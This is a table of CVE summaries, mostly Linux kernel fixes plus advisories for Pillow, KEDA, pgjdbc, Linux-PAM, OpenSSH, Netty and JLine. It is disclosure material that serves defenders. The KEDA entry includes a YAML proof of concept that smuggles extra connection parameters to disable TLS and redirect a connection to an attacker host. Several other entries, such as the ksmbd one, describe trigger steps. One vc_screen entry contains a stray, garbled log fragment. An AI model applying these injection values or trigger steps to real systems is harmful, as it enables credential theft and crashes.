| CVE-2026-53361 | In the Linux kernel, the following vulnerability has been resolved: af_unix: Set gc_in_progress to true in unix_gc(). Igor Ushakov reported that unix_gc() could run with gc_in_progress being false if the work is scheduled while running: Thread 1 Thread 2 Thread 3 -------- -------- -------- unix_schedule_gc() unix_schedule_gc() `- if (!gc_in_progress) `- if (!gc_in_progress) |- gc_in_progress = true | `- queue_work() | unix_gc() <----------------/ | | |- gc_in_progress = true ... `- queue_work() | | `- gc_in_progress = false | | unix_gc() <---------------------------------------------' | ... /* gc_in_progress == false */ | `- gc_in_progress = false unix_peek_fpl() relies on gc_in_progress not to confuse GC by MSG_PEEK. Let's set gc_in_progress to true in unix_gc(). |
| CVE-2026-53362 | In the Linux kernel, the following vulnerability has been resolved: ipv6: account for fraggap on the paged allocation path In __ip6_append_data(), when the paged-allocation branch is taken (MSG_MORE / NETIF_F_SG / large fraglen), alloclen and pagedlen are computed as alloclen = fragheaderlen + transhdrlen; pagedlen = datalen - transhdrlen; datalen already includes fraggap (datalen = length + fraggap). When fraggap is non-zero, this is not the first skb and transhdrlen is zero. The fraggap bytes carried over from the previous skb are copied just past the fragment headers in the new skb's linear area. The linear area is therefore undersized by fraggap bytes while pagedlen is overstated by the same amount, and the copy writes past skb->end into the trailing skb_shared_info. An unprivileged user can trigger this via a UDPv6 socket using MSG_MORE together with MSG_SPLICE_PAGES. The bad accounting was introduced by commit 773ba4fe9104 ("ipv6: avoid partial copy for zc"). Before commit ce650a166335 ("udp6: Fix __ip6_append_data()'s handling of MSG_SPLICE_PAGES"), the negative copy value caused -EINVAL to be returned. That later commit allowed MSG_SPLICE_PAGES to proceed in this case, making the corruption triggerable. The non-paged branch sets alloclen to fraglen, which already accounts for fraggap because datalen does. Bring the paged branch in line by adding fraggap to alloclen and subtracting it from pagedlen. After this adjustment, copy no longer collapses to -fraggap on the paged path, so remove the stale comment describing that old arithmetic. Since a negative copy is no longer expected for a valid MSG_SPLICE_PAGES case, remove the MSG_SPLICE_PAGES exception from the negative copy check. |
| CVE-2026-53365 | In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: fix zerocopy completion for multi-skb sends When a large message is fragmented into multiple skbs, the zerocopy uarg is only allocated and attached to the last skb in the loop. Non-final skbs carry pinned user pages with no completion tracking, so the kernel has no way to notify userspace when those pages are safe to reuse. If the loop breaks early the uarg is never allocated at all, leaking pinned pages with no completion notification. Fix this by following the approach used by TCP: allocate the zerocopy uarg (if not provided by the caller) before the send loop and attach it to every skb via skb_zcopy_set(), which takes a reference per skb. Each skb's completion properly decrements the refcount, and the notification only fires after the last skb is freed. On failure, if no data was sent, the uarg is cleanly aborted via net_zcopy_put_abort(). This issue was initially discovered by sashiko while reviewing commit 1cb36e252211 ("vsock/virtio: fix MSG_ZEROCOPY pinned-pages accounting") but was pre-existing. |
| CVE-2026-53366 | In the Linux kernel, the following vulnerability has been resolved: ipv4: account for fraggap on the paged allocation path In __ip_append_data(), when the paged-allocation branch is taken, alloclen and pagedlen are computed as alloclen = fragheaderlen + transhdrlen; pagedlen = datalen - transhdrlen; datalen already includes fraggap, but the fraggap bytes carried over from the previous skb are copied into the new skb's linear area at offset transhdrlen by the subsequent skb_copy_and_csum_bits(). The linear area is therefore undersized by fraggap bytes while pagedlen is overstated by the same amount. The non-paged branch sets alloclen to fraglen, which already accounts for fraggap because datalen does. Bring the paged branch in line by adding fraggap to alloclen and subtracting it from pagedlen. After this adjustment, copy no longer collapses to -fraggap on the paged path, so remove the stale comment describing that old arithmetic. |
| CVE-2026-53368 | In the Linux kernel, the following vulnerability has been resolved: f2fs: fix fsck inconsistency caused by incorrect nat_entry flag usage f2fs_need_dentry_mark() reads nat_entry flags without mutual exclusion with the checkpoint path, which can result in an incorrect inode block marking state. The scenario is as follows: create & write & fsync 'file A' write checkpoint - f2fs_do_sync_file // inline inode - f2fs_write_inode // inode folio is dirty - f2fs_write_checkpoint - f2fs_flush_merged_writes - f2fs_sync_node_pages - f2fs_fsync_node_pages // no dirty node - f2fs_need_inode_block_update // return true - f2fs_fsync_node_pages // inode dirtied - f2fs_need_dentry_mark //return true - f2fs_flush_nat_entries - f2fs_write_checkpoint end - __write_node_folio // inode with DENT_BIT_SHIFT set SPO, "fsck --dry-run" find inode has already checkpointed but still with DENT_BIT_SHIFT set The state observed by f2fs_need_dentry_mark() can differ from the state observed in __write_node_folio() after acquiring sbi->node_write. The root cause is that the semantics of IS_CHECKPOINTED and HAS_FSYNCED_INODE are only guaranteed after the checkpoint write has fully completed. This patch moves set_dentry_mark() into __write_node_folio() and protects it with the sbi->node_write lock. |
| CVE-2026-53377 | In the Linux kernel, the following vulnerability has been resolved: drm/msm: always recover the gpu Previously, in case there was no more work to do, recover worker wouldn't trigger recovery and would instead rely on the gpu going to sleep and then resuming when more work is submitted. Recover_worker will first increment the fence of the hung ring so, if there's only one job submitted to a ring and that causes an hang, it will early out. There's no guarantee that the gpu will suspend and resume before more work is submitted and if the gpu is in a hung state it will stay in that state and probably trigger a timeout again. Just stop checking and always recover the gpu. Patchwork: https://patchwork.freedesktop.org/patch/704066/ |
| CVE-2026-53381 | In the Linux kernel, the following vulnerability has been resolved: virtiofs: fix UAF on submount umount iput() called from fuse_release_end() can Oops if the super block has already been destroyed. Normally this is prevented by waiting for num_waiting to go down to zero before commencing with super block shutdown. This only works, however, for the last submount instance, as the wait counter is per connection, not per superblock. Revert to using synchronous release requests for the auto_submounts case, which is virtiofs only at this time. |
| CVE-2026-53382 | In the Linux kernel, the following vulnerability has been resolved: media: vidtv: fix NULL pointer dereference in vidtv_mux_push_si syzbot reported a general protection fault in vidtv_psi_ts_psi_write_into [1]. vidtv_mux_get_pid_ctx() can return NULL, but vidtv_mux_push_si() does not check for this before dereferencing the returned pointer to access the continuity counter. This leads to a general protection fault when accessing a near-NULL address. The root cause is that vidtv_mux_pid_ctx_init() does not check the return value of vidtv_mux_create_pid_ctx_once() for PMT section PIDs. If the allocation fails, the PID context is never created, but init returns success. The subsequent vidtv_mux_push_si() call then gets NULL from vidtv_mux_get_pid_ctx() and crashes. Fix both the root cause (add error check in vidtv_mux_pid_ctx_init for PMT PIDs) and add defensive NULL checks in vidtv_mux_push_si for all vidtv_mux_get_pid_ctx() calls. [1] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] Workqueue: events vidtv_mux_tick RIP: 0010:vidtv_psi_ts_psi_write_into+0x54a/0xbc0 drivers/media/test-drivers/vidtv/vidtv_psi.c:197 Call Trace: <TASK> vidtv_psi_table_header_write_into drivers/media/test-drivers/vidtv/vidtv_psi.c:799 [inline] vidtv_psi_pmt_write_into+0x3b2/0xa70 drivers/media/test-drivers/vidtv/vidtv_psi.c:1231 vidtv_mux_push_si+0x932/0xe80 drivers/media/test-drivers/vidtv/vidtv_mux.c:196 vidtv_mux_tick+0xe9b/0x1480 drivers/media/test-drivers/vidtv/vidtv_mux.c:408 |
| CVE-2026-53383 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject non-VALID session in compound request branch smb2_check_user_session() takes a shortcut for any operation that is not the first in a COMPOUND request: it reuses work->sess (the session bound by the first operation) and validates only the SessionId, then returns "valid". It never re-checks work->sess->state == SMB2_SESSION_VALID, and a SessionId of 0xFFFFFFFFFFFFFFFF (ULLONG_MAX, the MS-SMB2 related-operation value) skips even the id comparison. The standalone path (ksmbd_session_lookup_all() plus the SESSION_SETUP state machine) does enforce the VALID state; the compound branch bypasses all of it. A SESSION_SETUP carrying only an NTLM Type-1 (NtLmNegotiate) blob publishes a fresh SMB2_SESSION_IN_PROGRESS session whose sess->user is still NULL (->user is assigned later, by ntlm_authenticate()). Used as operation 1 of a COMPOUND with operation 2 = TREE_CONNECT (related, SessionId=ULLONG_MAX, \\host\IPC$), the tree-connect then runs on that IN_PROGRESS session and reaches ksmbd_ipc_tree_connect_request(), which dereferences user_name(sess->user) with sess->user == NULL (transport_ipc.c:687/701/704) -> remote NULL-pointer dereference and a kernel Oops that wedges the ksmbd worker for all clients. Reject any non-first compound operation that lands on a session which is not SMB2_SESSION_VALID, mirroring the validity the standalone lookup path enforces. SESSION_SETUP itself legitimately runs on an IN_PROGRESS session, but it is never carried as a non-first compound operation, so multi-leg authentication is unaffected by this check. |
| CVE-2026-53384 | In the Linux kernel, the following vulnerability has been resolved: serial: 8250_dw: unregister 8250 port if clk_notifier_register() fails dw8250_probe() registers the 8250 port via serial8250_register_8250_port() and then, if the device has a clock, registers a clock notifier. If clk_notifier_register() fails, probe returns the error but leaves the 8250 port registered. The matching serial8250_unregister_port() lives in dw8250_remove(), which is not called when probe fails, so the port slot stays occupied until the device is rebound or the system is rebooted. The devm-allocated driver data is freed while the port still references it (via the saved private_data and serial_in/serial_out callbacks), so any access to that port slot before a rebind is a use-after-free hazard. Unregister the port on the clk_notifier_register() error path. |
| CVE-2026-53385 | In the Linux kernel, the following vulnerability has been resolved: vc_screen: fix null-ptr-deref in vcs_notifier() during concurrent vcs_write A KASAN null-ptr-deref was observed in vcs_notifier(): BUG: KASAN: null-ptr-deref in vcs_notifier+0x98/0x130 Read of size 2 at addr qmp_cmd_name: qmp_capabilities, arguments: {} The issue is a race condition in vcs_write(). When the console_lock is temporarily dropped (to copy data from userspace), the vc_data pointer obtained from vcs_vc() may become stale. After re-acquiring the lock, vcs_vc() is called again to re-validate the pointer. If the vc has been deallocated in the meantime, vcs_vc() returns NULL, and the while loop breaks (with written > 0). However, after the loop, vcs_scr_updated(vc) is still called with the now-NULL vc pointer, leading to a null pointer dereference in the notifier chain (vcs_notifier dereferences param->vc). Fix this by adding a NULL check for vc before calling vcs_scr_updated(). |
| CVE-2026-53386 | In the Linux kernel, the following vulnerability has been resolved: iio: adc: ti-ads1298: add bounds check to pga_settings index ads1298_pga_settings has 7 elements but ADS1298_MASK_CH_PGA can yield values 0-7. If it yields a value >= 7, this causes an out-of-bounds array access. Add a bounds check and return -EINVAL if the index is out of range. Note that the remaining value b111 is reserved so should not be seen in a correctly functioning system. |
| CVE-2026-53387 | In the Linux kernel, the following vulnerability has been resolved: iio: light: veml6075: add bounds check to veml6075_it_ms index veml6075_it_ms has 5 elements but VEML6075_CONF_IT can yield values 0-7. If it returns a value >= 5, this causes an out-of-bounds array access. Add a bounds check and return -EINVAL if the index is out of range. The problem values are reserved so should never be read from the register. Hence this is hardening against fault device, missprogramming or bus corruption. |
| CVE-2026-53388 | In the Linux kernel, the following vulnerability has been resolved: fuse: re-lock request before replacing page cache folio fuse_try_move_folio() unlocks the request on entry but does not re-lock it on the success path. This means fuse_chan_abort() can end the request and free the fuse_io_args (eg fuse_readpages_end()) while the subsequent copy chain logic after fuse_try_move_folio() accesses the fuse_io_args, leading to use-after-free issues. Fix this by calling lock_request() before replace_page_cache_folio(). This ensures the request is locked on the success path which will prevent the fuse_io_args from being freed while the later copying logic runs, and also ensures that the ap->folios[i]->mapping is never null since ap->folios[i] will always point to the newfolio after replace_page_cache_folio(). |
| CVE-2026-53389 | In the Linux kernel, the following vulnerability has been resolved: net/tcp-ao: fix use-after-free of key in del_async path In tcp_ao_delete_key(), the del_async path skips the current_key and rnext_key validity checks present in the synchronous path, assuming these pointers are always NULL on LISTEN sockets. However, if a key was added with set_current=1/set_rnext=1 while the socket was in CLOSE state, current_key and rnext_key will be non-NULL after listen() transitions the socket to LISTEN. When such a key is deleted with del_async=1, hlist_del_rcu() and call_rcu() free the key without clearing the dangling pointers. After the RCU grace period, getsockopt(TCP_AO_INFO) dereferences current_key->sndid and rnext_key->rcvid from freed slab memory. Clear current_key and rnext_key in the del_async path when they reference the key being deleted. |
| CVE-2026-53390 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix out-of-bounds read in smb_check_perm_dacl() The permission-check ACE walk in smb_check_perm_dacl() validates the ACE header size and caps sid.num_subauth at SID_MAX_SUB_AUTHORITIES, but it never checks that ace->size is actually large enough to contain num_subauth sub-authorities before compare_sids() dereferences them. CIFS_SID_BASE_SIZE covers the SID header up to but excluding the sub_auth[] array, and offsetof(struct smb_ace, sid) is the ACE header, so the existing guards only guarantee the 8-byte SID base, i.e. zero sub-authorities. compare_sids() then reads ace->sid.sub_auth[i] for i < min(local_sid->num_subauth, ace->sid.num_subauth). The local comparison SIDs (sid_everyone, sid_unix_NFS_mode, and the id_to_sid() result) always have at least one sub-authority, and an attacker controls the ACE revision and authority bytes (which lie within the in-bounds SID base), so they can match one of those SIDs and force the sub_auth read. A crafted ACE with size == 16 and num_subauth >= 1 placed at the tail of the security descriptor therefore causes a heap out-of-bounds read of up to SID_MAX_SUB_AUTHORITIES * sizeof(__le32) bytes past the pntsd allocation. The security descriptor is loaded by ksmbd_vfs_get_sd_xattr() into a buffer sized exactly to the on-disk data (kzalloc(sd_size) in ndr_decode_v4_ntacl()), so the read lands past the allocation. The malformed descriptor can be stored verbatim via SMB2_SET_INFO (the DACL is not normalised before being written to the security.NTACL xattr) and the read fires on a subsequent SMB2_CREATE access check, making this reachable by an authenticated client on a share that uses ACL xattrs. Add the missing num_subauth-versus-ace_size check, mirroring the identical guards already present in the sibling parsers parse_dacl() and smb_inherit_dacl(). |
| CVE-2026-53391 | In the Linux kernel, the following vulnerability has been resolved: NFSv4/pNFS: reject zero-length r_addr in nfs4_decode_mp_ds_addr nfs4_decode_mp_ds_addr() decodes the r_netid and r_addr opaques of a netaddr4 from a GETDEVICEINFO multipath-DS body, then immediately calls strrchr(buf, '.') to locate the port separator. Both decodes use xdr_stream_decode_string_dup(), and the current code checks only "nlen < 0" / "rlen < 0" before dereferencing the returned string. When the on-wire opaque has length zero, xdr_stream_decode_opaque_inline() returns 0 and xdr_stream_decode_string_dup() falls through to its "*str = NULL; return ret" tail, leaving buf NULL with a return value of 0. The "< 0" check does not catch this, and the next line is strrchr(NULL, '.'), a kernel NULL pointer dereference reachable from any pNFS-flexfile client mounted against a malicious or compromised metadata server. Reject the zero-length cases explicitly so the decoder fails with -EBADMSG (treated as a malformed GETDEVICEINFO body) instead of panicking the client. |
| CVE-2026-53392 | In the Linux kernel, the following vulnerability has been resolved: NFSv4/flexfiles: reject zero filehandle version count ff_layout_alloc_lseg() decodes the filehandle-version array count from the flexfiles layout body. The value is used as the count for kzalloc_objs(), and the current code only rejects NULL. A zero count yields ZERO_SIZE_PTR, which can be stored in dss_info->fh_versions even though later flexfiles paths assume that at least one filehandle version exists. Reject fh_count == 0 before the allocation, matching the existing zero version_count validation in the flexfiles GETDEVICEINFO parser. A QEMU/KASAN run with a malformed flexfiles layout hit: KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017] RIP: 0010:ff_layout_encode_ff_layoutupdate.isra.0+0x15f/0x750 ff_layout_encode_layoutreturn+0x683/0x970 nfs4_xdr_enc_layoutreturn+0x278/0x3a0 Kernel panic - not syncing: Fatal exception The patched kernel rejects the malformed layout without KASAN/oops/panic, and a valid fh_count=1 regression still opens, reads, and unmounts cleanly. |
| CVE-2026-53393 | In the Linux kernel, the following vulnerability has been resolved: nfsd: reset write verifier on deferred writeback errors nfsd_vfs_write() and nfsd_commit() both call filemap_check_wb_err() to detect deferred writeback errors, but neither rotates the server's write verifier (nn->writeverf) when this check fails. Every other durable-storage-failure path in these functions calls commit_reset_write_verifier() before returning an error. The missing rotation means clients holding UNSTABLE write data under the current verifier will COMMIT, receive the unchanged verifier back, and conclude their data is durable — silently dropping data that failed writeback. This violates the UNSTABLE+COMMIT durability contract (RFC 1813 §3.3.7, RFC 8881 §18.32). Add commit_reset_write_verifier() calls at both filemap_check_wb_err() error sites, matching the pattern used by adjacent error paths in the same functions. The helper already filters -EAGAIN and -ESTALE internally, so the calls are unconditionally safe. |
| CVE-2026-53397 | In the Linux kernel, the following vulnerability has been resolved: nfsd: fix posix_acl leak on SETACL decode failure nfsaclsvc_decode_setaclargs() and nfs3svc_decode_setaclargs() each call nfs_stream_decode_acl() twice, first for NFS_ACL and then for NFS_DFACL. Each successful call transfers ownership of a freshly allocated posix_acl into argp->acl_access or argp->acl_default. If the first call succeeds but the second fails, the decoder returns false and argp->acl_access is left dangling. ACLPROC2_SETACL.pc_release was wired to nfssvc_release_attrstat and ACLPROC3_SETACL.pc_release was wired to nfs3svc_release_fhandle. Both only call fh_put() and have no knowledge of the ACL fields on argp. The posix_acl_release() pairs sat at the out: labels inside nfsacld_proc_setacl() and nfsd3_proc_setacl(), but svc_process() skips pc_func when pc_decode returns false, so that cleanup is unreachable on decode failure: svc_process_common() pc_decode() /* decode_setaclargs: false */ /* pc_func skipped */ pc_release() /* fh_put only -- ACLs leaked */ The orphaned posix_acl is leaked for the lifetime of the server. Fix by adding nfsaclsvc_release_setacl() and nfs3svc_release_setacl(), which release both argp->acl_access and argp->acl_default in addition to fh_put(), and wiring them as pc_release for their respective SETACL procedures. pc_release runs on every path svc_process() takes after decode, including decode failure, so the posix_acl_release() pairs are removed from the proc functions' out: labels to keep ownership in one place. This matches the existing release_getacl() pattern used by the sibling GETACL procedures. |
| CVE-2026-53398 | In the Linux kernel, the following vulnerability has been resolved: NFSD: Fix SECINFO_NO_NAME decode error cleanup nfsd4_decode_secinfo_no_name() currently initializes sin_exp after decoding sin_style. If the XDR stream is truncated, the decoder returns nfserr_bad_xdr before sin_exp is initialized. Since commit 3fdc54646234 ("NFSD: Reduce amount of struct nfsd4_compoundargs that needs clearing"), the inline iops array is not cleared between RPC calls. A failed SECINFO_NO_NAME decode can therefore leave sin_exp holding stale union contents from a previous operation. The error response path still invokes nfsd4_secinfo_no_name_release(), which calls exp_put() on a non-NULL sin_exp. Initialize sin_exp before the first failable decode step, matching nfsd4_decode_secinfo(). |
| CVE-2026-53399 | In the Linux kernel, the following vulnerability has been resolved: nfsd: release layout stid on setlease failure nfs4_alloc_stid() publishes the new stid into cl->cl_stateids via idr_alloc_cyclic() under cl_lock before returning to nfsd4_alloc_layout_stateid(). When nfsd4_layout_setlease() then fails, the error path frees the layout stateid directly with kmem_cache_free() without ever calling idr_remove(), leaving the IDR slot pointing at freed slab memory. Any subsequent IDR walker (states_show, client teardown) dereferences the dangling pointer. The correct teardown for an IDR-published stid is nfs4_put_stid(), which removes the IDR slot under cl_lock, dispatches sc_free (nfsd4_free_layout_stateid) to release ls->ls_file via nfsd4_close_layout(), and drops the nfs4_file reference in its tail. A second issue blocks that switch: nfsd4_free_layout_stateid() unconditionally inspects ls->ls_fence_work via delayed_work_pending() under ls_lock, but INIT_DELAYED_WORK(&ls->ls_fence_work, ...) currently runs only after the setlease call. On the setlease-failure path the destructor would touch an uninitialized delayed_work. nfsd4_alloc_layout_stateid() nfs4_alloc_stid() /* idr_alloc_cyclic under cl_lock */ nfsd4_layout_setlease() /* fails */ nfs4_put_stid() nfsd4_free_layout_stateid() delayed_work_pending(&ls->ls_fence_work) /* needs INIT */ nfsd4_close_layout() /* nfsd_file_put(ls->ls_file) */ put_nfs4_file() Fix by hoisting the ls_fenced / ls_fence_delay / INIT_DELAYED_WORK initialization above the nfsd4_layout_setlease() call, and replace the manual nfsd_file_put + put_nfs4_file + kmem_cache_free cleanup with a single nfs4_put_stid(stp). |
| CVE-2026-53400 | In the Linux kernel, the following vulnerability has been resolved: i2c: core: fix adapter registration race Adapters can be looked up based on their id using i2c_get_adapter() which takes a reference to the embedded struct device. Make sure that the adapter (including its struct device) has been initialised before adding it to the IDR to avoid accessing uninitialised data which could, for example, lead to NULL-pointer dereferences or use-after-free. Note that the i2c-dev chardev, which is registered from a bus notifier, currently uses i2c_get_adapter() so the adapter needs to be added to the IDR before registration. |
| CVE-2026-53401 | In the Linux kernel, the following vulnerability has been resolved: fbdev: omap2: fix use-after-free in omapfb_mmap omapfb_mmap() has a race condition with OMAPFB_SETUP_PLANE ioctl that can lead to use-after-free: The fb_mmap() entry point holds mm_lock but not lock (fb_info->lock), while ioctl handlers like OMAPFB_SETUP_PLANE hold lock but not mm_lock. This allows concurrent execution. In omapfb_mmap(): 1. rg = omapfb_get_mem_region(ofbi->region); // Get old region ref 2. start = omapfb_get_region_paddr(ofbi); // Read from NEW region 3. len = fix->smem_len; // Read from NEW region 4. vm_iomap_memory(vma, start, len); // Map NEW region memory 5. atomic_inc(&rg->map_count); // Increment OLD region! Concurrently, OMAPFB_SETUP_PLANE can: - Reassign ofbi->region = new_rg - Update fix->smem_len - OMAPFB_SETUP_MEM then checks NEW region's map_count (0!) and frees it This leaves userspace with a mapping to freed physical memory. The fix is to read all required values (start, len) from the same region reference (rg) that will have its map_count incremented, preventing the region from being freed while still mapped. |
| CVE-2026-53402 | In the Linux kernel, the following vulnerability has been resolved: fbdev: fbcon: fix out-of-bounds read in err_out of fbcon_do_set_font() When fbcon_do_set_font() fails (e.g., due to a memory allocation failure inside vc_resize() under heavy memory pressure), it jumps to the `err_out` label to roll back the console state. However, the current rollback logic forgets to restore the `hi_font` state, leading to a severe state machine corruption. Earlier in the function, `set_vc_hi_font()` might be called to change `vc->vc_hi_font_mask` and mutate the screen buffer. If `vc_resize()` subsequently fails, the `err_out` path restores `vc_font.charcount` but entirely skips rolling back the `vc_hi_font_mask` and the screen buffer. This mismatch leaves the terminal in a desynchronized state. Because `vc_hi_font_mask` remains set, the VT subsystem will still accept character indices greater than 255 from userspace and write them to the screen buffer. Subsequent rendering calls (e.g., `fbcon_putcs()`) will then use these inflated indices to access the reverted, 256-character font array, leading to a deterministic out-of-bounds read and potential kernel memory disclosure. Fix this by adding the missing rollback logic for the `hi_font` mask and screen buffer in the error path. |
| CVE-2026-53403 | In the Linux kernel, the following vulnerability has been resolved: fbdev: Fix fb_new_modelist to prevent null-ptr-deref in fb_videomode_to_var info->var, a framebuffer's current mode, is expected to have a matching entry in info->modelist. var_to_display() relies on this and treats a failed fb_match_mode() as "This should not happen". fb_set_var() keeps it true by adding the mode to the list on every change, and do_register_framebuffer() does the same at registration. store_modes() replaces the modelist from userspace. fb_new_modelist() validates the new modes but does not check that info->var still has a match. It relies on fbcon_new_modelist() to re-point consoles, but that only handles consoles mapped to the framebuffer. With fbcon unbound there are none, so info->var is left describing a mode that is no longer in the list. A later console takeover runs var_to_display(), where fb_match_mode() returns NULL and leaves fb_display[i].mode NULL. fbcon_switch() passes it to display_to_var(), and fb_videomode_to_var() dereferences the NULL mode. Keep the current mode in the list in fb_new_modelist(), the same way fb_set_var() does. |
| CVE-2026-53572 | ### Summary `pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`: ```go func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } ``` The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters. ### Vulnerable code `pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257. ### Impact Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can: - **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword. - Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior. Note: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target. ### Proof of concept ```yaml triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" ``` After `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`. ### Suggested fix - Escape / reject any ASCII whitespace (`\t`, `\n`, `\r`, `\f`, `\v`, space) and backslash. - Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding. - Validate each field against an allow-list pattern before use. ### Resources - `pkg/scalers/postgresql_scaler.go` - libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING |
| CVE-2026-54058 | Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0. |
| CVE-2026-54059 | Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0. |
| CVE-2026-54060 | Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0. |
| CVE-2026-54291 | pgjdbc is an open source postgresql JDBC Driver. In releases 42.7.4 through 42.7.11, channelBinding=require connections can be silently downgraded from SCRAM-SHA-256-PLUS with channel binding to plain SCRAM-SHA-256 without it, losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection can trigger the downgrade with a certificate whose signature algorithm has no tls-server-end-point channel-binding hash, because the bundled com.ongres.scram:scram-client returns an empty byte array instead of failing and pgJDBC ScramAuthenticator checks only that the server advertised a PLUS mechanism, without rejecting the empty binding or checking that the negotiated mechanism uses channel binding. This issue is fixed in version 42.7.12. |
| CVE-2026-54411 | Linux-PAM through 1.7.2 contains an observable timing discrepancy (CWE-208) in the pam_userdb module's plaintext-password comparison path in modules/pam_userdb/pam_userdb.c that allows a local or network-adjacent attacker able to repeatedly drive authentication through a calling service to recover the plaintext password of a target account by measuring response-timing differences. The comparison uses strncmp() (or strncasecmp() when PAM_ICASE_ARG is set) preceded by a length-equality check, so the time to reject a candidate depends on the index of the first differing byte and on whether the candidate's length matches the stored password, leaking the password length and individual prefix bytes. The vulnerable path is reached when the administrator configures pam_userdb with crypt=none, with an unrecognized crypt method, or without a crypt= argument, causing the module to store and compare credentials in plaintext. |
| CVE-2026-55379 | Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0. |
| CVE-2026-55380 | Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0. |
| CVE-2026-55654 | A flaw was found in OpenSSH. This vulnerability, a heap out-of-bounds read, occurs during the cleanup of GSSAPI (Generic Security Service Application Programming Interface) indicators when a trailing NULL termination is missing in the auth-indicators array. A remote attacker, under specific configurations involving GSSAPI authentication and a Kerberos environment, could exploit this to cause the SSH authentication path to crash or abort. This leads to a denial of service (DoS), impacting the availability of the SSH service. |
| CVE-2026-55655 | A flaw was found in OpenSSH. A local unprivileged attacker on a Linux client host can hijack client-side X11 forwarding connections. This is possible by pre-binding the preferred abstract X socket name when X11 forwarding is enabled and a local UNIX-domain X socket is used. A successful attack can compromise the confidentiality of forwarded X11 traffic, including sensitive window contents and input, and may allow some manipulation of the forwarded session. |
| CVE-2026-55798 | Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0. |
| CVE-2026-55831 | Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame`, allowing a remote SPDY/3.1 peer to send a syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries and amplifies network input into heap growth and ordered-map insertion work. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final. |
| CVE-2026-55833 | Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has exceeded `maxHeaderSize` and marked the frame truncated in `SpdyFrameCodec`, allowing a remote peer to send a small compressed `HEADERS` block that expands into much larger raw header data and causes compression-amplified CPU and allocation churn. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final. |
| CVE-2026-56740 | JLine is a Java library for handling console input. Prior to 3.30.14, 4.0.16, and 4.2.1, the JLine3 Telnet server remote-telnet module does not limit the number of environment variables a client may inject via the Telnet NEW-ENVIRON option, and TelnetIO.readNEVariables() in TelnetIO.java:1127-1180 stores each variable pair in a HashMap held by ConnectionData, allowing an unauthenticated attacker to flood unique variable pairs before the terminating IAC SE byte and exhaust JVM heap memory with an OutOfMemoryError. This issue is fixed in versions 3.30.14, 4.0.16, and 4.2.1. |
